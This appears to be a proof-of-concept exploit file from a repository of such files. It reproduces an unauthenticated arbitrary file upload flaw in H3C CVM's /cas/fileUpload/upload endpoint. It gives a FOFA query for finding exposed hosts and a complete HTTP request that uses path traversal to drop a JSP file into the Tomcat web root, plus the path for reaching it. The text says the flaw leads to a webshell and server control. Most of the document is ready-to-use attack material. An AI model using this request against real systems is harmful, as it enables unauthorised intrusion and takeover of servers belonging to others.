POC/wpoc/H3C/H3C-CVM-upload接口前台任意文件上传漏洞复现.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

30 lines
817 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## H3C-CVM-upload接口前台任意文件上传漏洞复现
H3C CVM /cas/fileUpload/upload接口存在任意文件上传漏洞未授权的攻击者可以上传任意文件获取 webshell控制服务器权限读取敏感信息等。
## fofa
```
app="H3C-CVM"
```
## poc
```
POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/a.jsp&name=123 HTTP/1.1
Host: your-ip
Content-Range: bytes 0-10/20
Referer: http://your-ip/cas/login
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
<%out.println("test");%>
```
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406040902939.webp)
访问文件路径
```
/cas/js/lib/buttons/a.jsp
```